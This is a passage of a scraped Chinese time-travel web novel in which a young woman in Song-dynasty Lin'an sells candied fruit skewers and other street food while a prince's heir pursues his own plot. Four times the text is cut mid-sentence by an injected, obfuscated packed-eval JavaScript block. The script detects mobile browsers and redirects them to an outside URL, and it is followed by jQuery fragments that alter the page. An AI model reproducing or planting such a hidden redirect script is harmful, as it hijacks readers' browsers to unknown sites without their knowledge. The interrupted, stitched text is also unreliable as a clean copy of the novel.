;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626216|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
女娘道:“可不是,快吃快吃,明天我早些去求。早去的打得多。”
团团听了,有些骄傲,大声说:“这斋饭是我阿姐……”
江清澜立刻捂住她的嘴巴。
听别人说自己手艺好,当然高兴,但她打定主意,在这个时空要低调做人。
这里是封建等级社会。对位高者而言,位卑者就是蝼蚁,就像今天早上,自己之于那群骑马的人一样。
如今,虽在市井之中,仍要低调谦虚,否则,运气不好,怎么死的都不知道。
水果摊夫妇朝她们看过来。
江清澜:“没事没事,我买点果物。”
樱桃、荔枝这些是买不起了,先买点儿便宜的试试水。
李子、青梅、桃子是时令水果,各买了一斤,不过花了十五文钱,枇杷娇气些,储存不便,所以略贵,一斤就要八文钱。
除了桃子,她特意都选的色深而形小的那种,虽只花了二十三文,这三种果子加起来个数也上百了。
市集里有卖竹刷把的,是竹子被劈成细篾条后扎成的,花四文钱买了两把。
团团不解:“我们又不洗碗刷锅,买这个干吗?”
江清澜:“回去你就知道了,好玩儿得很呢。”
回了建隆寺,又去香积厨找大和尚买了些冰糖——中午做烩菜的时候,江清澜就看到了,厨房柜子里存了好几大罐子冰糖,师傅说是香客送的。
如今制糖业发达,糖价并不算贵,她给了师傅三十文,师傅随意给她装了些,应该不止一斤。
又花了五文钱,得了师傅的允诺——空闲的时候,她可以用香积厨的小灶。
如今,万事俱备,这就动手做冰糖水果串了。[2]
要说冰糖葫芦串,当然是山楂最好。
第一个就是好储存,第二个颜色红彤彤的,裹着亮闪闪的冰糖外衣,能勾起人的食欲。且山楂本身偏酸,混合厚重的冰糖来吃,才酸甜可口。
可惜,现在才四月份,山楂的影儿都还没有……
江清澜一边想,一边同团团用竹刷把的竹签串水果。
竹签太细太软,要用好几根合在一起,才能支撑得起一个李子或枇杷。但事情紧急,也没有其他办法了。
除了桃子,串这一百多颗水果,把两把竹刷子全用光了。
下一步便是熬糖色,这是冰糖葫芦串成功与否的关键。
糖的火候一定要控制好。温度太低呢,糖不化,嚼果子的时候糖会粘牙。可温度高了也不行,糖色变黑不说,味道还会发苦。
江清澜先烧大火,以铁铲快速搅动,让冰糖在锅里融化后转小火。看到糖水微微发黄,取根筷子轻沾一些,猛的插入冷水中。
筷子尖的糖浆迅速凝固,在碗底轻轻一戳,凝结的糖霜刺啦一声就碎了,这便是熬好了。
接下来就是细致活儿了。先让几个胖胖的油桃下锅打个滚儿,沾了满身的糖衣,亮晶晶的。再一根根地蘸李子串、枇杷串、青梅串。
案板刷了清油,将这些串好的水果摆在上面晾干,冰糖水果串就大功告成了。
团团眼睁睁看着熟悉的水果变了身,好奇极了:“怎么一下就这么亮闪闪起来了?”
江清澜让她吃几个尝尝。
小姑娘先吃的是李子。
如今李子是时令水果,口感清脆,甜度又高,一口下去,先是糖衣脆脆甜甜的滋味,再是李子带了果酸又回甜的味道——甜给人以幸福感,酸则刺激得人满口生津,还想再吃。
团团一口气吃了两个李子串,还想再吃,江清澜让她再试试其他的。
嗯,枇杷又是另外一种滋味,果肉软烂,甜甜的汁水四溢,又因为混合了糖衣的酥脆口感,越嚼越香。
但青梅串一进嘴,团团就苦了脸,“呸呸呸”地全吐了出来。
“阿姐,青梅太酸啦,牙齿都酸掉了。”
江清澜想:坏了,青梅自来酸度高,都是做糖腌、糖渍的,看来这薄薄一层的糖衣,还抵不了它本身的酸。
但做都做了,不能白白浪费,拿出去看看再说。
临时没有草垛,竹刷把的签子也太软,插不起来,江清澜只用个簸箕,将做好的水果串挤挤挨挨地摆在里面。
万事俱备,就到见真章的时候了,江清澜雄赳赳,气昂昂:
“走,我们出去摆摊!”
5. 冰糖水果串(二)
江清澜抱着小竹簸箕,团团吃着一个油桃糖葫芦,两人专往小孩儿多的地方凑。
这些油桃虽然个头儿不大,胜在颜值高,深红如玛瑙不说,裹了亮晶晶的一层糖衣,在阳光的照耀下,闪闪发光。
团团一口咬下去,鲜桃的果肉碎烂,殷红的汁水四溢,还有轻微的、嘎嘣嘎嘣的响声——这是糖衣被嚼烂了。
汁水太多了,有些顺着嘴角流,团团吸溜一声,用手绢擦擦嘴,再咯嘣脆地咬一口。
有个差不多大的小女孩儿看着团团吃桃儿,馋极了,也把手指放在嘴巴里,嗦得巴巴儿地响。
江清澜对她娘道:“娘子,给孩子买个串儿吧,只要一文钱。新鲜水果裹了糖汁,又健康又好吃。你看,我亲妹子都在吃。”
“桃子也一文?”
“桃子三文,枇杷、李子都是一文。”
那位女娘挑挑选选,李子、枇杷各买了一串,江清澜她们收了钱还没走远,又被她叫住了。
“李子、枇杷再各买三串,桃子也来两个!”
“好嘞!”
如此这般,围着兴隆寺逛了几圈儿,她的竹簸箕里存货已所剩无几了。
如团团之前说的一样,顾客们都反映,青梅太酸了些。因此,剩下的,基本上都是青梅串儿。
团团发愁:“这青梅,快把人牙酸倒了,看来卖不出去了。”
“不怕,”江清澜道,“我回去把它们用糖渍了,做成青梅干儿,一样的好吃。”
正说着,一道温柔的声音响起:“娘子,你这青梅怎么卖的?”
江清澜抬眼看,是个穿粉紫褙子、银灰裙子的妇人。娥眉淡扫、杏眼如水一般清澈。虽则看起来柔柔弱弱的,却有一种小家碧玉的美。
她一手撑着后腰,一手抚着隆起的肚皮,身后站着个婆子。
生意上门,江清澜笑吟吟:“两文钱一个,娘子可先尝后买。”说着递过去一个。
那怀孕的妇人也不客气,接过去就吃,团团看了,先把眉头皱了起来,像是自己被酸到了一般。
“哎呀,好吃呢。”怀孕妇人笑着说,“我就想吃点儿酸的,又怕光吃酸的,要吐清水儿。你的法子倒好,青梅裹了糖汁儿,又酸又甜的。你这些,我全要了。”
团团眼睛里冒出光来,忙低下头去数:“一串、两串、三串……”
江清澜道:“欸,数着也眼花,总不过二十来串吧,娘子买得多,我也让些利,给三十文就行。”
怀孕妇人果然高兴:“你是会做生意的。”
从身后婆子那里拿了钱来,她又道:“我住在御街中段的甜水巷里,便在涌金池边。三日后,娘子能否再送些来?”
“你到宋家后门,给婆子说,是给张夫人送的就行。这里有一钱银子,二十文算你的辛苦费。”
江清澜便懂了,下次还送二十来个青梅串儿便成,连声应了。那妇人便由婆子搀着,施施然走了。
这下子,竹簸箕见了底儿,腰包却满了。回到寺庙后禅房,江清澜把竹簸箕往桌上一放,兴奋地搓手:“团团,把钱倒出来我们数数!”
哗啦啦,铜板们骨碌碌滚在桌上,堆得小山一般。
先把一钱的银角子刨到一边,再一文一文地数,一个、两个、三个……共一百零六个,加上银角子,就是二钱零六文!
刨去水果、冰糖、刷把等成本六十二文,纯利有一钱四十四文!
再说了,成本里最贵的就是冰糖,剩得多,还可以做好些糖葫芦。这不比打零工挣得多多了!
江清澜姐妹两个越干越勇。这三日里,除了中午在香积厨里做饭、吃饭那会儿,其余时间,她俩都在捣鼓冰糖水果串儿。
横竖,江清澜也告知了其他厨娘做烩菜的秘诀。她们有样学样,做出来味道也很不错。
抱着竹簸箕叫卖到第三日,好些顾客都是熟人了。有些小孩儿还带了小伙伴儿来,一看到江清澜出来,立刻就要拉着大人过来。
渐渐的,人越来越多,俨然有成聚众成堆之势了。
团团捧着钱袋子,高兴极了,人们拿了水果串就往里面丢铜钱,钱多了,撞在一起,叮叮当当地响。
赚到钱了,本是好事,江清澜心里却有点儿不安。
府衙在寺门西边专门划定了摆摊区,恐怕是要收费的。昨日,她也看到穿青色官服的人在到处巡视,那她摆黑摊儿是不是……
正在那里想着呢,“嘿,你们聚在那里干嘛!”有人大声呵斥。
江清澜一看,两个青年郎君疾步行来,皆着青色布袍,戴黑璞头,腰间悬着玉牌。
其中一个小眼睛、面黑的,跑得极快。
妈呀,是城管!
“不卖了、不卖了!”江清澜迅速将簸箕夹在腰与手臂的三角区里,“团团抓紧钱袋!”另一只手拉着妹妹,飞快地冲出人群。
有实诚的顾客喊:“钱,你不要钱啦!”
“不要了不要了,请你吃了!”江清澜头也不回地说。
“哎!站住!”“城管”还喊。
站住才怪!让你们罚钱?江清澜两姐妹脚底装了风火轮般,一口气跑到后禅院,把门一锁,靠在门上大喘气。
团团也累坏了,一屁.股坐在地上。
江清澜把簸箕放桌上,发现里面只剩了几串李子、几串枇杷,其他的,应该都是“逃亡”的时候落在路上了。就这几个枇杷,还都被撞烂了,蔫头耷脑的,汁水横流。
正渴呢,她拿起一串枇杷递给团团,自己又吃一串,自我安慰:“没事,不过损失十几文,被他们抓住,不知罚多少呢。”
人这么多,她创收,“城管”也得创收,不罚款怎么创?
——
与此同时,香积厨院子里,女侩王蕙娘也在掰着指头算账。给五个厨娘发工钱,花了三钱银子又五十文,她从中赚了……
“喂,这几日的烩菜是你做的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626217|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
王蕙娘抬头看,来人戴一个银色面具,着莲花纹靛色圆领襕袍,戴黑色璞头,尾革带上镶着金玉。
虽看不清脸,但他那打扮、那气质,一看就不是常人。何况,他还一副高傲样子,带着天生的威压。这是非权贵所没有的。
“问你话呢!”谢临川有点儿不耐烦。
“妾身失礼了,”王蕙娘有点囧,自己一把年纪了,看个小郎君还看呆了,“妾身是女侩,厨娘是我招的人。”
“那人呢?”
“便在此寺之中,妾这就去请,劳郎君略等等。”几日下来,王蕙娘与江清澜熟识了,知道她在此地挂单,匆匆往后禅院去了。
今日天气不错,天蓝,太阳明晃晃的。谢临川到处溜溜达达,掐了一朵茶花在手里把玩。
既然这里没人,他也不用戴那劳什子面具了。
院子里煮烩菜的砖砌土灶还没拆,他一时兴致上来,将茶花往空中猛抛,再飞起一脚,踢在花上。
阳光之下,那殷红茶花带了点儿金色光泽,“嗖”的一下,竟对着砖砌土灶的缝隙钻了进去。
要知道,茶花是多么轻,而土灶的缝隙又是多么的小,要将如此轻的东西踢进去,需要多大的冲击力。
一击即中!
谢临川笑了,露出一口雪白的牙齿,任爱意浓浓的阳光拂过他浓长的眼睫。
有羞羞怯怯的声音响起:“听女侩王蕙娘说,郎君在寻妾?”
钱君君虽然荆钗布裙,但出来之时特意打扮了一番——咬了咬唇,让小嘴儿红艳艳的,又把头发挑得松松的,额前溜了两绺出来。
方才谢、王二人对话时,她正准备从院外进来,将对话听了个全。
谢临川转身回视,上下打量她:“这几日的烩菜是你做的。”
“正是妾身做的。”
“你且说说,是如何做的?”
看江清澜做过了,几个厨娘都学会了,钱娘子就垂着眸说:“斋饭无荤,好吃的关键在于,要锁住油香。我先将豆腐块入油锅里炸,炸至两面金黄起泡……”
“行了,”谢临川对这些厨房活儿又不感兴趣,不过是想确认一下,摆手道,“去东平王府做事,可愿意?”
钱娘子心里怦怦乱跳:“妾愿意。”
……
江清澜紧急被王蕙娘叫去时,也在屋里算账,心里还盘算着,难道是那个城管?不至于吧,为罚款,追到庙里来?
到了香积厨院子里,只见大门外停了一辆奢豪的马车,车边站着三个人,正在说话。
那矮胖的老太太、高大的郎君皆着锦衣,有一种天生的贵气,另一边的女娘却荆钗布裙,一副低眉顺眼的模样。
其他的小厮、丫鬟们拎着包袱来来往往,应是正在从寺里往马车上搬东西。
王蕙娘指给江清澜看:“方才就是那位郎君找你。”又见旁边那女娘低着头,一副恭敬的模样,奇怪道:“咦,那不是钱娘子吗?”
6. 炸鸡翅
江清澜正在神游天外。
虽然看不清脸,但那位郎君身姿挺拔,如松如竹,尾革带上镶着的金玉在阳光下熠熠闪光。
江清澜忍不住笑了笑。这人应该是个帅哥。
王蕙娘的关注点却在钱君君身上:“这贱蹄子!她顶了你的名儿,看我不去撕烂她的嘴!”
说着,就要冲出去。
“算了。”江清澜拉住了她。
门外,老太太与郎君已上了马车,钱娘子面上染霞,飞快地往院里看了一眼。
哪知这一眼,正好和江清澜的对上了,她自知心虚,又低下头,匆匆跟上马车。
王蕙娘看江清澜一眼,愤愤不平又百思不得其解:“我看那马车上挂着东平王府的牌子,去了那儿,可是泼天的富贵。”
第一代东平王谢山,起于微末,在先帝尚为行伍小官时就慧眼识珠,誓死效忠。后来更是随之南征北战,为大宋江山立下了汗马功劳。
如今的东平王谢衍,是谢山独子,虽无军功,也是朝廷的肱股之臣,简在帝心。
东平王府,确实是泼天的富贵之所。
江清澜笑了:“我就爱在这市井里挣点小钱。她爱去就让她去好了。”
富贵险中求,越富贵越险,大老爷们高兴了会赐金赏银,不高兴了,可是会砍人脑袋的。
她从发现自己穿越的那一刻开始,就打定主意,要离这些什么王爷啊、权臣啊远点儿。她可不想为了富贵,把小命丢了。
王蕙娘是个人精,见人说人话、见鬼说鬼话,听她这样说,就顺坡下驴:“也是,你有手艺,迟早发大财。”
既然正主儿都不在意,她又何必在乎,转了话题道:
“后日,我有个活儿。荷塘村的乡绅何老爷,要办大寿。摆三日流水宴,做三顿,给九十文一天。只是路程有些远,在乡下。你看如何?”
江清澜摆过摊儿,有了对比,做厨娘这九十文性价比就不高了。又在乡下,那么远,带着团团去……想了想,她还是拒绝了。
“多谢蕙姐姐,只是我家阿妹年纪小,那么远,怕她受不了颠簸……”
王蕙娘性情爽朗,也不恼:“没事。你什么时候想做了,来找我就是,我家就在武林路北的金水巷子里。我若不在,你留个口信儿就行。”
辞别王蕙娘,江清澜开始盘算。
这几日,卖冰糖水果串赚了将近七钱银子,加上当厨娘的两钱十文,共九钱十文。
买刷牙子、揩齿药等生活必需品,花了二十来文。她与团团两个各买了一双袜子,花了十文。
这些钱,加上她从陆府出来时,身上带的那丁点儿,可能刚刚一两多。
她这几天打听过了,跟现代大都市一样,临安城的房价很高。买个一进的小院子,便是在余杭门那么偏的地方,也得几百两银子。
买房,她想都不敢想。
但是,只要不去御街,在略偏僻一些的地方,比如王蕙娘家的武林北路,七八钱银子,是可以租到一个窄小单间的,够她与团团两个人住了。
她们两个女孩子,老在和尚庙里挂单,也不大好。洗.澡什么的,都不方便。
最重要的是,在庙里吃斋饭也好,借庙里的锅灶自己做饭也好,都不能做肉菜。
天天吃素,那可怎么活?莫说正在长身体的团团了,连她自己都受不了。
然而,她想了想,决定还是先不赁房子。统共就这么点儿钱,一定要让钱再生钱,而不是直接花个大半。
那钱如何生钱呢?当然是做生意。做生意,就要去人多的地方。
今天是庙会的最后一日,据江清澜观察,建隆寺的人烟明显比前两日少了。什么地方人多呢?自然是临安城里的夜市。
书上说,唐代夜市仅限少数商业区,是达官贵人的冶游之所。宋代夜市却是真正属于市民的。
众安桥夜市、清河坊夜市……这些大大小小的夜市,分布在临安城的各个地方,热闹非凡,几与现代无异。
明日,她要去那位怀孕的娘子家,送冰糖青梅串儿。她住在御街中段的甜水巷,挨着大名鼎鼎的中瓦不远,正好去瞧瞧。
此外,江清澜还有一个打算——既然要长期做生意,就得考虑办.证,合法合规才行。
不然,像之前那样,遇到“城管”就糟了。轻则罚款,重则没收“作案工具”——摊子、锅碗瓢盆,再重甚至蹲大牢,都是可能的。
办.证,她虽不知道具体流程,但肯定是得花钱的。
江清澜叹口气:哎哟,手里统共就一两银子,到处都得花钱。哪里还敢租屋子,先老实在寺庙里待着吧。
建隆寺离城里远,好在临安城里的寺庙、尼姑庵也不少,一定也可以挂单。
第二日,先到甜水巷把张娘子要的青梅送了,从黄昏起,江清澜与团团两个,就在中瓦里闲逛。
白日不过是普通的街道,也有三三两两的摊铺、过路的行人。待入了夜,她才知,中瓦是如何地热闹。
天上“砰”一声绽开烟花,地上游人摩肩接踵。
有几个小娘子结伴,是出来买胭脂水粉的。她们正为了两文钱,与摊主讨价还价。
有的是夫妇两个一起。女娘兴致勃勃,东瞅西看,郎君提了满手的物什,一副生无可恋的表情。
提着茶壶的小少年们满街跑窜:“郎君,要来点茶吗?”
宋代茶业兴盛,达官贵人好点茶,分为炙、碎、碾、入盏、注汤、击拂等步骤,流程复杂。
像这些少年一般,提壶在市井中贩卖的,却多是油茶。便是将大叶茶混同各色果仁儿,用多多的猪油炒过,加入葱、姜等调料。
这种茶喝起来油香四溢、满口肉味儿。[1]
瓦子大门前,几个老婆婆身着大红衫裙,头上簪花,脸涂浓妆,以老相扮俏妆,引得游客的目光。偏她们还掐腰舞臂,连珠炮似的讲着滑稽戏,互相打趣,逗得人哈哈大笑。
江清澜考察了市场,有了主意:瓦子里什么商品都有,她要做生意,只能像冰糖水果串这样推陈出新才行。
团团逛夜市,开心极了,兴奋得走路一蹦一蹦的。但入了夜,肚子有些饿了。路边一小摊儿不知在炸着什么,油香扑鼻,团团便走不动路了。
江清澜看她表情,心道:好吧,今晚上就破费一回,美美吃一顿。
因为好几天没见荤腥了,江清澜特意点的肉菜:四个小肉包,一盘芹菜炒猪肉,还有几个炸鸡翅。
历史上,与前朝相比,宋朝的植物油提炼技术取得了质的飞跃,所以百姓食用菜籽油更为普遍了。但比起动物油,植物油仍然更贵。
江清澜心想:无怪乎这几个炸物,卖得比炒猪肉还贵。
路边摊儿比不上酒楼,算不上精致,但料放得足,正合江清澜姐妹二人的意。
包子的油漏了出来,把蓬松的白面浸渍得油澄澄的。芹菜炒猪肉香气浓郁,青菜爽脆嫩绿。
那篓子炸物,更是金灿灿的,不知在油锅里滚了几个来回。若是拿一个起来,定得有油往下滴。
团团这几天没吃着肉,确实馋急了,围着那盘炸鸡翅东看西看,最后深深吸了口气:“天啊,好香啊!”
手、筷并用,小心翼翼送入口中。
哎呀,先是浓郁的油香,再是鸡肉独特的味道。此物不像其他做法的鸡肉又干又柴,而是肉质嫩滑、一抿就烂了,丝丝缕缕的肉都入了味儿的,奇香无比。
她饕餮般一口气吃了三只后,才堪堪能辨认其中的调料。微麻微辣的,腌的时候一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626218|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定放了川椒粉,可为什么中间还有点儿甜?
团团百思不得其解,江清澜却知道,这是因为腌制的时候放了些白糖,这样炸好的鸡翅会有回甜味。
其实,叫她说,这炸鸡翅比现代的差远了。尤其是,炸的时候没有裹面包糠,口感中少了酥脆。并且,也没有番茄酱、柠檬汁等解腻的小料,味道上就差了一个层次。
若她以后有了自己的厨房,看能不能捣鼓出面包糠来。到时候,团团就看不上这里的鸡翅了。
正胡思乱想着,哐哐几声,有人敲锣。
一群劲装少年从街上走过,有人挥舞彩带,有人高呼:“五月初十,齐云社、火焰队[2]蹴鞠决赛,西山蹴鞠场,欢迎观看!”
江清澜瞧着新鲜,脱口而出:“原来这里也有足球比赛,免费吗?”
团团正在啃鸡翅,满嘴油乎乎的,听了这话,嘲笑她:
“阿姐说胡话呢,瓦子里的表演赛不收钱,但西山的比赛怎么可能免费?何况,还是齐云社、火焰队的决赛!”
“最远的位置,也得四五钱银子。今年水少,五月初五不竞舟、争标了,蹴鞠赛的入场费肯定会更贵。”
“你忘啦,那一年,也是停了竞舟比赛,爹爹娘娘就带我们去看了蹴鞠赛。”
江清澜哦一声,又怕她说到爹娘,要掉金豆子,就拿起一个包子,塞她嘴里:“姐姐记岔了。你别光吃鸡翅,包子也啃两口,冷了吃了要闹肚子的。”
她这般说着,心中却思忖,等有钱了,得去蹴鞠场看看。也不知,场内有没有销售场地,给不给冠名广告。
嘿,真是处处是商机啊,必须得抓紧时间办营业执照了,明日就去!
——
东平王府在丰豫门边,离闹市不远。但背靠偌大的西湖,取了其幽静。是以,不管城里怎样热闹,王府里,始终是静谧的另一番天地。
王府东侧的聆泉院更是安静,只有草丛里的虫子在唧唧叫着。
谢临川将图纸展开,铺在书桌上,抱臂深思着。
淡红褙子的女娘脚步轻浅,纵端了沉重托盘,一路行来,仍无声响。她的声音也很是温柔:“世子爷,王妃命奴婢前来送饭。”
“知道了,放那儿吧。”谢临川头也没抬,眉头深锁,专研着桌上的蹴鞠阵法。
火焰队讲究猛攻猛打,球头李正,最擅长凌空抽.射,但齐云社的防线也是滴水不漏……
“世子爷,奴婢姓钱,名君君,是前日随爷从建隆寺……”
这阵法图纸标注得十分详细,是以平摊在书桌上,占了很大地方。谢临川人又高,站着看不清,便一只手撑在桌子上,弓着腰细细看去。
嗯,如果李正在这里射风流眼[3]的话,齐云社肯定会派朱珍、朱选在这里防守……
他正想到关键处,也不知道是谁,在耳朵边叽叽咕咕、唠唠叨叨的,弄得他心头火起。而且,声音还越来越响了。
欸,光线怎么变暗了?谢临川瞪大眼睛,还是看不清,大手一挥:“哎呀,你站这么近干嘛,挡着光了!”
钱君君只觉一股大力挥来,还没反应过来,自己就猛的跌在了地上,屁.股摔得生疼,眼泪都快出来了。
但这可不是哭的时候。她连忙爬起来,改成跪的姿势,想要赔礼道歉,却听清朗的声音道:
“欸,你的衣服?”
抬头一看,谢世子已不再专研图纸了,而是皱着眉头,一手抱胸,一手捏着下巴,用玩味的眼神盯着自己的胸口。
钱君君眼睛亮了,歪歪跪着,有些可怜巴巴的模样。头也埋得更低了,好展示傲人的曲线。
那当然了,她来的时候经过了特意打扮的,轻纱覆身,酥.胸半.露……
钱君君蓦的羞红了脸。
7. 糯米饭团
那一年钱塘江弄潮、争标,谢世子戴着银色面具、额系红丝带,于万人之中夺得头标,看得人心潮澎湃。
她的运气又特别好,谢世子骑着高头大马游街时,面具掉了,当时她就在马下,就她看见了!
那时候她就想,若有一天,谢世子能看她一眼,便是死了,也值了。
老天保佑!菩萨显灵!她竟然有今天!
正在那里浮想联翩着。“喏,拿去!”一个银锭子滚在脚边。钱君君不解其意,疑惑地望向那人。
“方才,你说你是哪儿的?”
“奴婢是前日随世子爷从建隆寺……”
谢临川轻咳一声,站得笔直,眼神凌厉,下颌线绷得很紧。
“行了!”
“爷管你是哪儿的,只要在东平王府做事,代表的就是王府的颜面。如今才四月,你穿这么点儿不冷吗?让别人看见了,传出去,还说爷东平王府苛待下人!”
钱君君的脸一寸寸地红了,连脖子根儿都红了。只这次的“羞”,不是娇羞。她把抹.胸使劲儿往上拽。
谢临川还不死心,继续追问:“你说说,王府亏待你没有?”
“没……没有。”钱君君咬着牙说。
“那就好,”谢临川正气凛然,“把钱拿着,自己去买两身齐整衣裳。”
……
聆泉院外,东平王妃梁氏的大丫鬟锦绣,正躲在墙根儿偷看。
见少女哭着跑了出来,手把抹胸拽得紧紧的,她摇摇头,往正院复命去了。
梁氏得了禀告,与王爷谢衍说:“三郎忽的从外面带个厨娘回来,还以为他晓事儿了,原是我们想岔了。”
这事儿,谢临川也给他们说过,说祖母爱吃这女娘做的饭菜。
但梁氏也尝过,她做的素烩菜还行,其他的很是平平。就连老夫人本人,吃过一两次素烩菜后也说,不知是不是没了建隆寺的香火加持,没那么好吃了。
她看这厨娘模样也算清秀,便想着,是不是三郎对她有什么特殊心思。
这钱娘子平日有意往聆泉院里凑,似乎也有些攀高枝儿的心思,她就帮了她一把,看看儿子的反应。
果然,这一试,他还是那副木头样子,对男女之事一点儿兴趣没有。
其实,也不是她着急。本朝崇尚晚婚,男子二十五娶妇、女子二十嫁人的情况比比皆是。这是因为,科举大盛,男子中了举后再成亲,光耀门楣,也能娶得更有钱、有地位的妇人。
他们家当然不是缺钱、缺地位。而是王爷着意要让家里人走文臣的路子,几个儿子都得去考科举。
但三郎不是读书的料,三年下来,连个秀才也没考上。临安城的夫子听说是他,给再多的钱也不上门了。王爷每每想起这事儿,就觉得丢脸。
读书不行,王爷便想让他尚公主。做了驸马,不得参与朝政,当个富贵闲人也好,与天家结亲,既保住了谢家的荣耀,又不至于功高震主,惹得官家猜疑……
三郎长得好看,又爱在皇家蹴鞠队里露脸,很有几个公主看上过。有一次,宝庆公主和福安公主还为此打起架来,闹到官家那里去了。
这么看起来,好像尚公主这一条路很不错。
但公主金枝玉叶,是要捧着护着的。三郎这孩子,对男女之事是一点不开窍,什么温柔小意,懂都不懂。他那个牛脾气,要是尚了公主,把公主气死了,他们全家都得遭殃。
想到这里,梁氏摇头,深觉没有出路,对东平王道:“这孩子从小就爱舞刀弄枪,偏你不许,又改成蹴鞠。不就是踢球,你让他踢就是了。”
东平王谢衍最是沉稳持重,从来深谋远虑:“你懂什么?”夫妻两个在内间说话,没有外人,也不忌讳。
“先帝是前朝旧臣,以武起家的。他坐稳了江山后,最忌讳的就是旧事重演,是以,对武臣诸多防备。”
“咱们父王是他出生入死的兄弟,江山一定,赶紧就上交了兵权。不然,你以为,如今还能有我们谢家?如今的官家是守成之人,更对武将忌惮得深。”
这些事王妃也知道一二:
“是呀,所以王府现在与父王那会儿是完全不同了。你是文臣,半点儿武艺也不会,咱们两个女婿都是两榜进士,全家再没一个武将了。”
“三郎不过就踢个球,临安城里这么多人都在踢,多他一个又怎么了?”
谢衍道:“所以说,你是妇人之见。伴君如伴虎,刻刻当小心。今日能蹴鞠争标,明日就能拿刀舞枪。你看朱将军家的几个儿子,谁会蹴鞠?”
“这些日子,先有江渊案,再有潭州珍珠贪腐案,上上下下的,撸了多少人下来?官家心情不好,这时候千万别去触他霉头!”
他摆摆手,不想再与她纠缠:“总之,我都和临安府尹说好了,让这逆子去财赋司,干干再说。其他的,不必再说了。”
——
江清澜一大早就收拾好了东西,从建隆寺搬到了临安城里的青莲庵。青莲庵很小,挂单的费用要四十文一晚,且团团还要给半价,也就是姐妹二人共六十文。
虽住宿费贵了一些,但青莲庵在城里,去中瓦摆摊儿方便,且庵里都是尼姑,她们两个生活也方便一些。
另有一重,过两日便是原身父母的头七,她们姊妹去碧云岭扫墓,也近些。
安顿好了,都快中午了,二人来不及吃饭,拿上两个之前做好的糯米饭团,就赶着去府署办.证。
因为青莲庵在临安城北,而衙署在南边,好大一段路呢,她们又不舍得花钱雇马车,只好靠两条腿。
这时候的富贵人家一天吃三顿饭,也有不少百姓还有古风传统,只在早上和晚上开伙。中午实在饿得很,就简单吃些剩饭、糕点之类的充饥,一律谓之“点心”,取“安慰肠胃”之意。
如此看来,她们的“点心”可并不差。
昨天晚上,江清澜见香积厨里还有些糯米,便动了做贵州糯米饭团的心思。
上辈子读硕士时,她有个室友是贵州人,每次收假回学校,都要带糯米饭团给她们吃。
里面有:脆蹦蹦的油渣脆哨、味道浓郁的折耳根、酸唧唧的泡萝卜,豪华版还有大片的老腊肉,又香又咸,一想起就要流口水。
后来学校开的“全家”超市里,也进了贵州风味的糯米饭团,与贵州室友带的那种有些不同。少了脆哨,多了一根广式香肠,泡萝卜变成了酸豇豆,还要放花生米。可能是经过了冷冻的原因,糯米也更硬一些。
总的来说,味道也不错,江
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626219|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清澜经常去买着吃,比一股孜然味儿的韩式饭团、没滋没味儿的日式饭团,更合她的口味。
但在建隆寺的香积厨里,正宗的贵州糯米饭团是做不成了,脆哨(油渣儿)没有、腊肠等荤物没有,折耳根——当然这个时节没有,花生,这个时代还没引进。
少了这几样,就少了贵州风味的灵魂。馅儿料嘛,只能找着什么做什么了。
运气不错,竟然有泡菜摊子,夹了个萝卜出来,脆是脆,就是不够酸,有那个意思就成。
前两天做烩菜,还剩了不少蘑菇。蘑菇可是个宝,天然的鲜味的来源,裹点面粉糊进油锅里一炸,随便撒点盐巴,便是一道美味。
贵州糯米饭之所以是褐黑色,就是因为糯米蒸到一半,要加酱油、香粉等各色调料。揉匀后再上锅蒸,最后成品便上色均匀,皆呈黑褐色,味道也极好。江清澜依法炮制,让她的饭团也变成了黑褐色。
先铺一层糯米,再放油炸蘑菇与泡萝卜,多来几勺豆酱,撒一把川椒粉——如今还做不出来油辣子,只能暂时这样了——再用新的糯米盖上,捏巴捏巴,建隆寺版糯米饭团就做好了。
虽不是正宗的贵州风味糯米饭团,也是好吃的。
